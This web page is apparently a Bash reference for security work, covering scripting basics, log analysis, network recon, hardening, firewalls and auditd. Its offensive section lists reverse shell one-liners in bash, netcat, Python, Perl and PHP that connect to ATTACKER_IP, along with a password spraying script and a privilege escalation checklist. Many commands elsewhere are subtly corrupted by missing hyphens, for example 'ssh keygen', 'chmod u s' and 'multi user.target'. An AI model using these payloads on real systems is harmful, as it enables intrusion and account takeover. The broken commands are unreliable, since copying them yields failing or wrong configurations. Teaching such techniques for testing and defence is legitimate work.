Skip to content

Bash

Bash Logo

Bash isn't just a shell it's the glue that holds Unix/Linux together. Every command, every script, every automation flows through bash. Master it and you'll understand how systems actually work.

Table of Contents

1. Core Concepts and Syntax

Variables and Environment

# Assigning variables remember, no spaces around the equals sign!
TARGET="example.com"
PORT=443
TIMEOUT=5

# Environment variables these are the ones set by the system
echo "Current user: $USER"
echo "Home directory: $HOME"
echo "Path: $PATH"

# You can export variables so subprocesses can see them
export API_KEY="your secret key"

# Special variables that Bash provides
echo "Script name: $0"
echo "First argument: $1"
echo "All arguments: $@"
echo "Number of arguments: $#"
echo "Exit status of last command: $?"
echo "Process ID: $$"

Conditionals and Tests

# String comparisons checking if strings match
if [ "$USER" == "root" ]; then
    echo "Running as root be careful!"
fi

# File tests checking properties of files
if [ -f "/etc/passwd" ]; then
    echo "/etc/passwd exists and is a regular file."
fi

if [ -d "/tmp" ]; then
    echo "/tmp is a directory."
fi

if [ -x "/usr/bin/nmap" ]; then
    echo "nmap is executable."
fi

# Numeric comparisons for when you're dealing with numbers
if [ $PORT -eq 80 ]; then
    echo "HTTP port"
elif [ $PORT -gt 1024 ]; then
    echo "High port"
fi

# The modern way uses double brackets and even supports regex
if [[ "$HOST" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "Valid IP address"
fi

Loops and Iteration

# For loop over a list of items
for protocol in http https ftp ssh; do
    echo "Testing $protocol"
done

# For loop with brace expansion expands to a range
for port in {1..100}; do
    echo "Scanning port $port"
done

# While loop reading from a file
while read -r line; do
    echo "Processing: $line"
done < targets.txt

# While loop with command output
while read -r ip; do
    ping -c 1 "$ip" | grep "bytes from"
done < <(cat ips.txt)

# C-style for loop if you're used to C
for ((i=0; i<10; i++)); do
    echo "Iteration $i"
done

Functions and Modularity

# Defining a function
scan_target() {
    local target=$1
    local port=${2:-80}  # Default port 80

    echo "Scanning $target on port $port"
    nc -zv "$target" "$port" 2>&1 | grep succeeded
}

# Function with return value
is_port_open() {
    nc -zv "$1" "$2" &>/dev/null
    return $?
}

# Calling functions
scan_target "example.com" 443
if is_port_open "192.168.1.1" 22; then
    echo "SSH is open"
fi

2. File and Directory Operations

Essential File Commands

Here's a table of essential file commands super useful.

Command Description Security Example
ls -la List all files with details ls -la /var/www/ Check web directory permissions
find Find files by criteria find / -name "*.php" -perm -o=w 2>/dev/null World writable PHP files
grep -r Recursive search grep -r "password" /etc/ Find password references
chmod Change permissions chmod 600 private.key Secure private key
chown Change ownership chown root:root sensitive_file Set proper ownership
stat File statistics stat -c "%a %n" /etc/passwd Check file permissions
file Determine file type file suspicious_binary Analyze unknown files

Advanced File Manipulation

For more advanced file operations.

# Find all SUID binaries these can be security risks
find / -perm -4000 -type f 2>/dev/null

# Find world writable files another potential issue
find / -perm -o=w ! -type l 2>/dev/null

# Find files modified in last 24 hours
find / -mtime -1 2>/dev/null

# Backup important files always good to have backups
tar -czf backup-$(date +%Y%m%d).tar.gz /etc/ /home/important/

# Monitor log files in real time great for watching what's happening
tail -f /var/log/auth.log

# Secure file deletion to make sure it's really gone
shred -u -z -n 3 sensitive_file.txt

3. Text Processing and Data Manipulation

grep Patterns for Security

# Find IP addresses in logs useful for analyzing traffic
grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' access.log

# Find failed login attempts spot potential attacks
grep "Failed password" /var/log/auth.log

# Extract URLs from JavaScript for web scraping or analysis
grep -Eo 'https?://[^"]+' script.js

# Case insensitive search for sensitive data be careful with this
grep -i "credit.*card\|ssn\|password" *.txt

# Context around matches see what happened before and after
grep -C 3 "SQL syntax" error.log

# Inverse match (exclude-patterns) filter out unwanted stuff
grep -v "127.0.0.1" access.log

awk for Log Analysis

# Top 10 IP addresses in access log see who's visiting most
awk '{print $1}' access.log | sort | uniq -c | sort -nr | head -10

# Extract specific columns from CSV data manipulation
awk -F',' '{print $1 "," $3}' data.csv

# Calculate average response time performance monitoring
awk '/ms$/ {sum+=$(NF-1); count++} END {print "Avg:", sum/count}' nginx.log

# Group by status code HTTP status analysis
awk '{print $9}' access.log | sort | uniq -c

# Complex field extraction advanced parsing
awk -F'[ "]+' '{print $1, $7, $9}' access.log

sed for Stream Editing

# Replace HTTP with HTTPS quick fix for URLs
sed 's/http:/https:/g' urls.txt

# Delete lines containing pattern clean up logs
sed '/debug=true/d' config.txt

# Add timestamp to each line for logging
sed 's/^/$(date "+%Y-%m-%d %H:%M:%S") /' logfile

# Extract specific lines get what you need
sed -n '10,20p' large_file.txt

# In place editing (backup-original) modify files safely
sed -i.bak 's/old/new/g' file.txt

cut and Other Text Tools

# Extract usernames from /etc/passwd get user list
cut -d: -f1 /etc/passwd

# Get first and third columns select data
cut -d',' -f1,3 data.csv

# Sort and get unique values deduplicate
sort file.txt | uniq -c

# Count lines, words, characters quick stats
wc -l access.log

# Compare files see differences
diff file1.txt file2.txt

4. Networking and Reconnaissance

OSI Model Overview

Visual guide: The OSI model helps map where tools like curl (Application), TCP/UDP (Transport), IP (Network) operate.

curl for Web Interaction

# Basic HTTP requests simple way to test sites
curl -s -o /dev/null -w "%{http_code}" https://example.com

# Custom headers and authentication for APIs
curl -H "User-Agent: Mozilla/5.0" -H "X-API-Key: secret" https://api.example.com

# POST data and file upload sending data
curl -X POST -d "username=admin&password=test" https://login.example.com
curl -F "file=@payload.txt" https://upload.example.com

# Follow redirects and save cookies handle sessions
curl -L -c cookies.txt -b cookies.txt https://example.com

# Time request and show detailed info performance check
curl -w "@curl format.txt" -o /dev/null -s https://example.com

# Test for HTTP methods see what server supports
curl -X OPTIONS -I https://example.com

netcat-(nc) for Networking

# Port scanning check open ports
nc -zv example.com 1-1000 2>&1 | grep succeeded

# Banner grabbing see service info
echo "" | nc -nv -w 2 example.com 22

# File transfer send files
# Receiver: nc -lvnp 4444 > received_file
# Sender: nc -w 3 receiver_ip 4444 < file_to_send

# Simple chat server for testing
# Server: nc -lvnp 4444
# Client: nc server_ip 4444

# Proxy and port forwarding advanced networking
mkfifo /tmp/fifo; nc -l -p 8080 < /tmp/fifo | nc target_ip 80 > /tmp/fifo

DNS and Network Diagnostics

# DNS enumeration find subdomains
dig any example.com
dig axfr @ns1.example.com example.com
dig -x 8.8.8.8  # Reverse DNS

# Network information see interfaces
ip a  # Show interfaces
ip route  # Show routing table
ss -tulpn  # Show listening ports

# Network testing ping and trace
ping -c 4 example.com
traceroute example.com
mtr example.com  # Continuous traceroute

5. Process and System Management

Linux Process States

Process Monitoring

# View all processes
ps aux
ps -ef

# Real time process monitoring
top
htop

# Find processes by name
pgrep -l ssh
pkill -f "pattern"

# Process tree
pstree
pstree -p  # Show PIDs

# Resource usage
free -h  # Memory
df -h  # Disk space
du -sh /var/log/  # Directory size

System Information Gathering

# System info
uname -a
cat /etc/os release
hostnamectl

# Hardware info
lscpu
lsblk
lspci
lsusb

# Kernel information
sysctl -a
dmesg | tail

# User information
who
w
last

Service Management

# Systemd services
systemctl status sshd
systemctl start|stop|restart service
systemctl enable|disable service

# List all services
systemctl list unit files --type=service

# Check service logs
journalctl -u sshd
journalctl --since "1 hour ago"

# Old init.d style
service ssh status
/etc/init.d/ssh restart

6. Advanced Scripting Techniques

Error Handling and Debugging

# Exit on error
set -e

# Exit on undefined variables
set -u

# Pipefail exit if any command in pipeline fails
set -o pipefail

# Debug mode print each command
set -x

# Trap signals
trap 'echo "Script interrupted"; cleanup; exit 1' INT TERM

# Logging function
log() {
    echo "$(date '+%Y-%m-%d %H:%M:%S') $1" >> script.log
}

Input Validation and Security

# Validate IP address
is_valid_ip() {
    local ip=$1
    if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
        return 0
    else
        return 1
    fi
}

# Sanitize input
sanitize_input() {
    echo "$1" | tr -d ';|&<>`$\\'"'
}

# Check for required commands
check_dependencies() {
    local deps=("nmap" "curl" "jq")
    for dep in "${deps[@]}"; do
        if ! command -v "$dep" &> /dev/null; then
            echo "Error: $dep is required but not installed"
            exit 1
        fi
    done
}

Advanced Pattern Matching

# Case statements
case "$1" in
    start)
        echo "Starting service"
        ;;
    stop)
        echo "Stopping service"
        ;;
    restart)
        echo "Restarting service"
        ;;
    *)
        echo "Usage: $0 {start|stop|restart}"
        exit 1
        ;;
esac

# Regular expression matching
if [[ "$email" =~ ^[A-Za z0-9._%+-]+@[A-Za z0-9.-]+\.[A-Za z]{2,}$ ]]; then
    echo "Valid email"
fi

7. Security and Forensics Scripts

Log Analysis Script

#!/bin/bash
# analyze_logs.sh Security log analysis tool

LOG_FILE="${1:-/var/log/auth.log}"
OUTPUT_FILE="security_report_$(date +%Y%m%d).txt"

echo "Security Log Analysis Report $(date)" > "$OUTPUT_FILE"
echo "=============================================" >> "$OUTPUT_FILE"

# Failed SSH attempts
echo "Failed SSH attempts:" >> "$OUTPUT_FILE"
grep "Failed password" "$LOG_FILE" | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c | sort -nr >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"

# Successful logins
echo "Successful logins:" >> "$OUTPUT_FILE"
grep "Accepted password" "$LOG_FILE" | awk '{print $1,$2,$3,$9,$11}' >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"

# sudo commands
echo "sudo commands executed:" >> "$OUTPUT_FILE"
grep "sudo:" "$LOG_FILE" | grep "COMMAND" >> "$OUTPUT_FILE"

echo "Report generated: $OUTPUT_FILE"

Network Monitor Script

#!/bin/bash
# network_monitor.sh Monitor network connections

INTERVAL=5
LOG_FILE="network_connections_$(date +%Y%m%d).log"

echo "Starting network monitor. Press Ctrl+C to stop."
echo "Timestamp,Protocol,Local Address,Foreign Address,State,PID/Program" > "$LOG_FILE"

while true; do
    timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    # Get current network connections
    netstat -tunap 2>/dev/null | awk 'NR>2 {print "'"$timestamp"'," $1 "," $4 "," $5 "," $6 "," $7}' >> "$LOG_FILE"
    sleep "$INTERVAL"
done

File Integrity Monitor

#!/bin/bash
# file_integrity_monitor.sh Monitor critical files for changes

BASELINE_FILE="baseline.txt"
MONITOR_FILES=("/etc/passwd" "/etc/shadow" "/etc/sudoers" "/bin/ls" "/usr/bin/who")

# Create baseline
create_baseline() {
    for file in "${MONITOR_FILES[@]}"; do
        if [ -f "$file" ]; then
            sha256sum "$file" >> "$BASELINE_FILE"
        fi
    done
    echo "Baseline created: $BASELINE_FILE"
}

# Check for changes
check_integrity() {
    if [ ! -f "$BASELINE_FILE" ]; then
        echo "Error: Baseline file not found. Run with --create first."
        exit 1
    fi

    while read -r expected_hash file_path; do
        if [ -f "$file_path" ]; then
            current_hash=$(sha256sum "$file_path" | awk '{print $1}')
            if [ "$current_hash" != "$expected_hash" ]; then
                echo "ALERT: File $file_path has been modified!"
                echo "Expected: $expected_hash"
                echo "Current:  $current_hash"
            fi
        else
            echo "ALERT: File $file_path is missing!"
        fi
    done < "$BASELINE_FILE"
}

case "$1" in
    --create)
        create_baseline
        ;;
    --check)
        check_integrity
        ;;
    *)
        echo "Usage: $0 {--create|--check}"
        exit 1
        ;;
esac

8. Offensive Security Techniques

Reverse Shell Payloads

# Bash TCP reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Netcat traditional
nc -e /bin/bash ATTACKER_IP 4444

# Netcat without -e-(alternative)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Perl reverse shell
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PHP reverse shell
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Privilege Escalation Checks

# Quick privilege escalation checklist
echo "=== Privilege Escalation Checklist ==="

# SUID binaries
echo "[+] SUID Binaries:"
find / -perm -4000 -type f 2>/dev/null

# Sudo permissions
echo "[+] Sudo Permissions:"
sudo -l

# Cron jobs
echo "[+] Cron Jobs:"
ls -la /etc/cron* /var/spool/cron/

# World writable files
echo "[+] World writable files:"
find / -perm -o=w ! -type l 2>/dev/null

# Processes running as root
echo "[+] Processes running as root:"
ps aux | grep root | grep -v "\["

# Kernel version
echo "[+] Kernel version:"
uname -a

Password Spraying (Use-Responsibly)

#!/bin/bash
# password_spray.sh Simple password spraying tool

TARGETS=("user1" "user2" "admin" "root")
PASSWORDS=("password123" "admin123" "welcome1" "Password1")
DOMAIN="example.com"

for user in "${TARGETS[@]}"; do
    for pass in "${PASSWORDS[@]}"; do
        echo "Trying $user:$pass"
        # Example using smbclient for SMB authentication
        echo "exit" | smbclient -L //$DOMAIN -U "$user%$pass" &>/dev/null
        if [ $? -eq 0 ]; then
            echo "[SUCCESS] Valid credentials: $user:$pass"
        fi
        sleep 1  # Rate limiting
    done
done

9. Defensive Security Techniques

SSH Hardening Script

#!/bin/bash
# ssh_hardening.sh Secure SSH configuration

SSH_CONFIG="/etc/ssh/sshd_config"
BACKUP_FILE="$SSH_CONFIG.backup.$(date +%Y%m%d)"

# Backup original config
cp "$SSH_CONFIG" "$BACKUP_FILE"

# Apply security settings
sed -i 's/^#PermitRootLogin.*/PermitRootLogin no/' "$SSH_CONFIG"
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication no/' "$SSH_CONFIG"
sed -i 's/^#PubkeyAuthentication.*/PubkeyAuthentication yes/' "$SSH_CONFIG"
sed -i 's/^#Protocol.*/Protocol 2/' "$SSH_CONFIG"
sed -i 's/^#MaxAuthTries.*/MaxAuthTries 3/' "$SSH_CONFIG"
sed -i 's/^#ClientAliveInterval.*/ClientAliveInterval 300/' "$SSH_CONFIG"
sed -i 's/^#ClientAliveCountMax.*/ClientAliveCountMax 2/' "$SSH_CONFIG"

# Restart SSH service
systemctl restart sshd

echo "SSH configuration hardened. Backup saved to $BACKUP_FILE"

Firewall Configuration

Linux Netfilter Packet Flow

Visual guide: Packet traversal through hooks (PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING) to place rules effectively.

# Basic iptables firewall setup
#!/bin/bash

# Flush existing rules
iptables -F
iptables -X

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT

# Allow SSH
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow ICMP-(ping)
iptables -A INPUT -p icmp -j ACCEPT

# Log dropped packets
iptables -A INPUT -j LOG --log prefix "IPTABLES-DROPPED: "

echo "Firewall rules configured"

Log Monitoring and Alerting

#!/bin/bash
# log_monitor.sh Monitor logs for security events

LOG_FILES=("/var/log/auth.log" "/var/log/syslog" "/var/log/nginx/access.log")
ALERT_EMAIL="security@example.com"

monitor_logs() {
    tail -F "${LOG_FILES[@]}" | while read -r line; do
        # Check for suspicious patterns
        if echo "$line" | grep -q -E "(Failed password|invalid user|authentication failure)"; then
            echo "ALERT: Failed login attempt $line" | mail -s "Security Alert" "$ALERT_EMAIL"
        fi

        if echo "$line" | grep -q -E "(sudo:|COMMAND=)"; then
            echo "INFO: Sudo command executed $line" | mail -s "Sudo Activity" "$ALERT_EMAIL"
        fi

        # Add more detection patterns as needed
    done
}

monitor_logs

10. Quick Reference Tables

File Test Operators

Operator Description Example
-e File exists [ -e file.txt ]
-f Regular file [ -f /etc/passwd ]
-d Directory [ -d /tmp ]
-r Readable [ -r file.txt ]
-w Writable [ -w file.txt ]
-x Executable [ -x /bin/ls ]
-s File not empty [ -s logfile ]
-L Symbolic link [ -L /bin/sh ]

String Operators

Operator Description Example
-z String is empty [ -z "$var" ]
-n String not empty [ -n "$var" ]
= Strings equal [ "$a" = "$b" ]
!= Strings not equal [ "$a" != "$b" ]
< String less than [[ "$a" < "$b" ]]
> String greater than [[ "$a" > "$b" ]]

Arithmetic Operators

Operator Description Example
-eq Equal [ $a -eq $b ]
-ne Not equal [ $a -ne $b ]
-lt Less than [ $a -lt $b ]
-le Less or equal [ $a -le $b ]
-gt Greater than [ $a -gt $b ]
-ge Greater or equal [ $a -ge $b ]

Common Exit Codes

Code Description
0 Success
1 General error
2 Misuse of shell builtins
126 Command cannot execute
127 Command not found
128 Invalid argument to exit
130 Script terminated by Ctrl+C
255 Exit status out of range

11. Advanced Tips and Tricks

Unix Pipeline

Visual guide: Pipelines connect stdout of one command to stdin of the next; combine with process substitution for complex flows.

Process Substitution

# Compare sorted versions of files
diff <(sort file1.txt) <(sort file2.txt)

# Process output from multiple commands
paste <(cut -f1 data.txt) <(cut -f3 data.txt)

# Feed output to multiple processes
tee >(process1) >(process2) >/dev/null

Brace Expansion

# Create multiple files
touch file{1..10}.txt

# Create backup copies
cp config.txt{,.bak}

# Generate IP ranges
echo 192.168.1.{1..254}

# Create directory structure
mkdir -p project/{src,bin,doc,test}

Parameter Expansion

# Default values
${VAR:-default}  # Use default if VAR is unset or empty
${VAR:=default}  # Set VAR to default if unset or empty
${VAR:?error}    # Display error if VAR is unset or empty

# String manipulation
${VAR#pattern}   # Remove shortest match from beginning
${VAR##pattern}  # Remove longest match from beginning
${VAR%pattern}   # Remove shortest match from end
${VAR%%pattern}  # Remove longest match from end
${VAR:offset:length}  # Substring extraction

# Example usage
filename="/path/to/file.txt"
echo "${filename##*/}"  # file.txt
echo "${filename%.*}"   # /path/to/file

Arrays and Associative Arrays

# Indexed arrays
files=(*.txt)
echo "First file: ${files[0]}"
echo "All files: ${files[@]}"
echo "Number of files: ${#files[@]}"

# Associative arrays (Bash-4+)
declare -A colors
colors["red"]="#ff0000"
colors["green"]="#00ff00"
echo "Red: ${colors[red]}"

# Iterate through array
for file in "${files[@]}"; do
    echo "Processing: $file"
done

for color in "${!colors[@]}"; do
    echo "$color: ${colors[$color]}"
done

12. Security Best Practices

Script Security

# Always use shellcheck to validate scripts
shellcheck your_script.sh

# Use strict mode at the beginning of scripts
set -euo pipefail

# Validate and sanitize all user input
read -r -p "Enter filename: " filename
filename=$(echo "$filename" | tr -d ';|&<>`$\\'"')

# Use password input without echo
read -r -s -p "Enter password: " password
echo

# Limit script privileges
if [ "$EUID" -ne 0 ]; then
    echo "Please run as root"
    exit 1
fi

Secure File Handling

# Use temporary files securely
temp_file=$(mktemp /tmp/secure.XXXXXXXXXX)
trap 'rm -f "$temp_file"' EXIT

# Secure file permissions
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 700 ~/.ssh

# Secure directory permissions
find /var/www -type d -exec chmod 755 {} \;
find /var/www -type f -exec chmod 644 {} \;

# Set proper ownership
chown -R www data:www data /var/www/html

Network Security

# Use SSH keys instead of passwords
ssh keygen -t ed25519 -C "your_email@example.com"

# Secure SSH configuration
echo "Protocol 2" >> /etc/ssh/sshd_config
echo "PermitRootLogin no" >> /etc/ssh/sshd_config
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config

# Use encrypted connections
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# Verify SSL certificates
openssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null | openssl x509 -noout -dates

12a. Server Administration and Hardening

Users and Groups

# Create user, set shell and home
useradd -m -s /bin/bash ops
passwd ops
# Add to groups
usermod -aG wheel ops     # RHEL/CentOS sudo group
usermod -aG sudo ops      # Debian/Ubuntu sudo group
# Lock or expire
passwd -l user           # lock account
chage -l user            # view password aging
chage -M 90 -W 14 user   # max 90 days, warn 14 days
# Show memberships
id ops; groups ops

Permissions, umask, and ACLs

# Default umask (affects new-files/dirs)
umask 027                 # files: 640, dirs: 750
# ACLs for fine grained perms
setfacl -m u:deploy:rX /var/www/html
setfacl -m g:www data:rwX /var/www/html
getfacl /var/www/html
# Sticky bit, SGID on dirs for shared groups
chmod g+s /srv/shared     # new files inherit group
chmod +t /tmp             # sticky

systemd Units and Health

# Minimal service unit-(/etc/systemd/system/myapp.service)
[Unit]
Description=My App
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/myapp --config /etc/myapp.conf
Restart=on failure
RestartSec=3
User=myapp
Group=myapp
LimitNOFILE=65536

[Install]
WantedBy=multi user.target

# Enable + start + status
systemctl daemon reload
systemctl enable --now myapp.service
systemctl status myapp.service

journald Essentials

# Persistent logs (create-/var/log/journal) and reload
mkdir -p /var/log/journal
systemctl restart systemd journald
# Filter logs
journalctl -u myapp --since "2 hours ago"
journalctl -u myapp -p err..alert
journalctl -t myapp tag | tail -200

Firewalls: UFW / iptables / nftables

# UFW quick setup-(Ubuntu)
ufw default deny incoming
ufw default allow outgoing
ufw allow OpenSSH
ufw allow 80,443/tcp
ufw enable
ufw status verbose

# iptables (rate limit SSH, drop-scans)
iptables -F; iptables -X
iptables -P INPUT DROP; iptables -P FORWARD DROP; iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 6 -j DROP
iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT

# nftables minimal ruleset-(/etc/nftables.conf)
flush ruleset

table inet filter {
  chain input {
    type filter hook input priority 0;
    ct state established,related accept
    iif lo accept
    tcp dport {22,80,443} accept
    ip protocol icmp accept
    counter drop
  }
}
# Apply
nft -f /etc/nftables.conf

Fail2ban Quickstart

apt install fail2ban    # or: dnf/yum/zypper
# jail.local (override-defaults)
cat >/etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 6

[sshd]
enabled = true
port = ssh
logpath = /var/log/auth.log
backend = systemd
EOF
systemctl enable --now fail2ban
fail2ban client status sshd

TLS and Certificates (OpenSSL /-Certbot)

# Generate private key + CSR-(server)
openssl req -new -newkey rsa:3072 -nodes -keyout server.key -out server.csr -subj "/CN=example.com/O=Example LTD/C=US"
# Self signed-(dev/test)
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
# Check a TLS endpoint
openssl s_client -connect example.com:443 -servername example.com </dev/null | openssl x509 -noout -subject -issuer -enddate

# Certbot-(nginx)
certbot --nginx -d example.com -d www.example.com
# Cron/Timer renewal logs
systemctl list timers | grep certbot

logrotate Patterns

# /etc/logrotate.d/myapp
/var/log/myapp/*.log {
  weekly
  rotate 12
  compress
  delaycompress
  missingok
  notifempty
  create 0640 myapp myapp
  postrotate
    systemctl reload myapp 2>/dev/null || true
  endscript
}

Backup Recipes (rsync /-borg)

# rsync with hardlinks-(snapshots)
rsync -aHAX --delete /data/ /backups/$(date +%F)/
# borg (install-first)
borg init --encryption=repokey /backup/repo
borg create --stats /backup/repo::"{hostname}-{now:%F-%T}" /etc /var/www /home
borg prune -v --keep daily=7 --keep weekly=4 --keep monthly=6 /backup/repo

sysctl Hardening-(example)

# /etc/sysctl.d/99-hardening.conf
net.ipv4.ip_forward = 0
net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
# Apply
sysctl --system

SSH Hardening (SFTP-only-chroot)

# /etc/ssh/sshd_config.d/sftp chroot.conf
Subsystem sftp internal sftp
Match Group sftponly
  ChrootDirectory %h
  ForceCommand internal sftp
  X11Forwarding no
  AllowTCPForwarding no
# Prepare chroot home (must be owned by-root)
useradd -m -s /usr/sbin/nologin -G sftponly sftpuser
chmod 755 /home/sftpuser
mkdir -p /home/sftpuser/upload
chown sftpuser:sftponly /home/sftpuser/upload
systemctl restart sshd

Cron and systemd Timers

# Randomized cron via anacron like spacing
0 3 * * * sleep $((RANDOM%900)); /usr/local/bin/job.sh >>/var/log/job.log 2>&1

# systemd timer skeleton
# /etc/systemd/system/cleanup.service
[Unit]
Description=Daily cleanup
[Service]
Type=oneshot
ExecStart=/usr/local/bin/cleanup.sh

# /etc/systemd/system/cleanup.timer
[Unit]
Description=Run cleanup daily
[Timer]
OnCalendar=daily
RandomizedDelaySec=900
Persistent=true
[Install]
WantedBy=timers.target

systemctl daemon reload
systemctl enable --now cleanup.timer

Incident Response Quick Actions

# Snapshot processes, sockets, and connections
ps auxwwf > /root/ir_ps_$(date +%F_%T).txt
ss -tunap > /root/ir_ss_$(date +%F_%T).txt
lsof -nP > /root/ir_lsof_$(date +%F_%T).txt
# Persistence checks
systemctl list timers --all
systemctl list unit files --type=service | grep enabled
crontab -l; ls -la /etc/cron* /var/spool/cron
# Integrity and auth
last -a | head; lastlog | head
ausearch -m USER_AUTH,USER_LOGIN -ts today | aureport -au -i

12b. Filesystem and Mount Hardening

fstab best practices

# /etc/fstab examples (verify with: findmnt---verify)
# tmp and var tmp isolated, noexec/nosuid/nodev
(tmpfs)   /tmp       tmpfs   defaults,noatime,nosuid,nodev,noexec,mode=1777   0 0
# Bind /var/tmp to /tmp to inherit options
/tmp      /var/tmp   none    bind                                              0 0
# /home should not allow device files
UUID=XXXX /home      ext4    defaults,nodev                                    0 2
# Separate /var/log and /var/log/audit for resilience
UUID=YYYY /var/log   ext4    defaults,nosuid,nodev,noexec                      0 2
UUID=ZZZZ /var/log/audit ext4 defaults,nosuid,nodev,noexec                     0 2

Runtime remounting and verification

mount -o remount,noexec,nosuid,nodev /tmp
mount -o bind /tmp /var/tmp
# Check effective mount flags
findmnt -no TARGET,PROPAGATION,OPTIONS /tmp /var/tmp /home /var/log

SUID/SGID and capabilities hygiene

# List SUID/SGID binaries (baseline and monitor-diffs)
find / -xdev -type f -perm -4000 -o -perm -2000 2>/dev/null | sort -u
# List files with capabilities (more stealthy than-SUID)
getcap -r / 2>/dev/null | sort
# Remove dangerous bits/caps where appropriate
chmod u s /usr/bin/newgrp 2>/dev/null || true
setcap -r /usr/bin/tcpdump 2>/dev/null || true

Immutable flags (use-judiciously)

# Protect critical config from accidental edits (be-careful)
chattr +i /etc/hosts /etc/resolv.conf
# Remove when updating
chattr -i /etc/hosts /etc/resolv.conf

12c. SSH Advanced: CA, FIDO2, Match Rules

OpenSSH CA-signed user keys

# Create an SSH Certificate Authority-(CA)
ssh keygen -t ed25519 -f /etc/ssh/ca_user -C "ssh user ca"
# Sign a user key with principals (roles or-usernames)
ssh keygen -s /etc/ssh/ca_user -I user alice -n alice,ops -V +52w ~/.ssh/id_ed25519.pub
# Server: trust the CA-(sshd_config)
cat >/etc/ssh/sshd_config.d/ca trust.conf <<'EOF'
TrustedUserCAKeys /etc/ssh/ca_user.pub
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
EOF
mkdir -p /etc/ssh/auth_principals; echo alice > /etc/ssh/auth_principals/alice
systemctl reload sshd

FIDO2 hardware backed keys

# Create WebAuthn/FIDO2-backed SSH key (resident-optional)
ssh keygen -t ed25519-sk -O resident -O verify required -C "alice@host"
# Client: ensure libfido2 and working authenticator (touch-required)
ssh -o PubkeyAuthentication=yes user@host

Fine grained Match rules and ForceCommand wrapper

# Limit forwarding and commands for a group-(sshd_config.d/limits.conf)
Match Group devops
  AllowTcpForwarding local
  PermitOpen 127.0.0.1:5432
  X11Forwarding no
  ForceCommand /usr/local/bin/ssh wrapper.sh

# /usr/local/bin/ssh wrapper.sh
#!/usr/bin/env bash
set -euo pipefail
case "$SSH_ORIGINAL_COMMAND" in
  "psql"*|"pg_dump"*) exec bash -lc "$SSH_ORIGINAL_COMMAND";;
  *) echo "command not permitted"; exit 1;;
esac

12d. Network Hardening: SYNPROXY and Conntrack

sysctl tuning (tcp and-rp_filter)

# /etc/sysctl.d/98-net hardening.conf
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 4096
net.ipv4.tcp_timestamps = 0
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
# Apply
sysctl --system

iptables with SYNPROXY (front end-ports)

modprobe nf_synproxy_core
iptables -t raw -A PREROUTING -p tcp -m tcp --syn --dport 80 -j CT --notrack
iptables -t raw -A PREROUTING -p tcp -m tcp --syn --dport 443 -j CT --notrack
iptables -A INPUT -p tcp -m tcp --dport 80 -m synproxy --sack perm --timestamp --wscale 7 --mss 1460 -j SYNPROXY
iptables -A INPUT -p tcp -m tcp --dport 443 -m synproxy --sack perm --timestamp --wscale 7 --mss 1460 -j SYNPROXY
iptables -A INPUT -p tcp -m state --state INVALID -j DROP

12e. Auditd Comprehensive Ruleset

Rules to watch sensitive paths and actions

# /etc/audit/rules.d/hardening.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/sudoers -p wa -k priv_esc
-w /var/log/ -p wa -k logchange
-a always,exit -F arch=b64 -S execve -F dir=/tmp -k exec_tmp
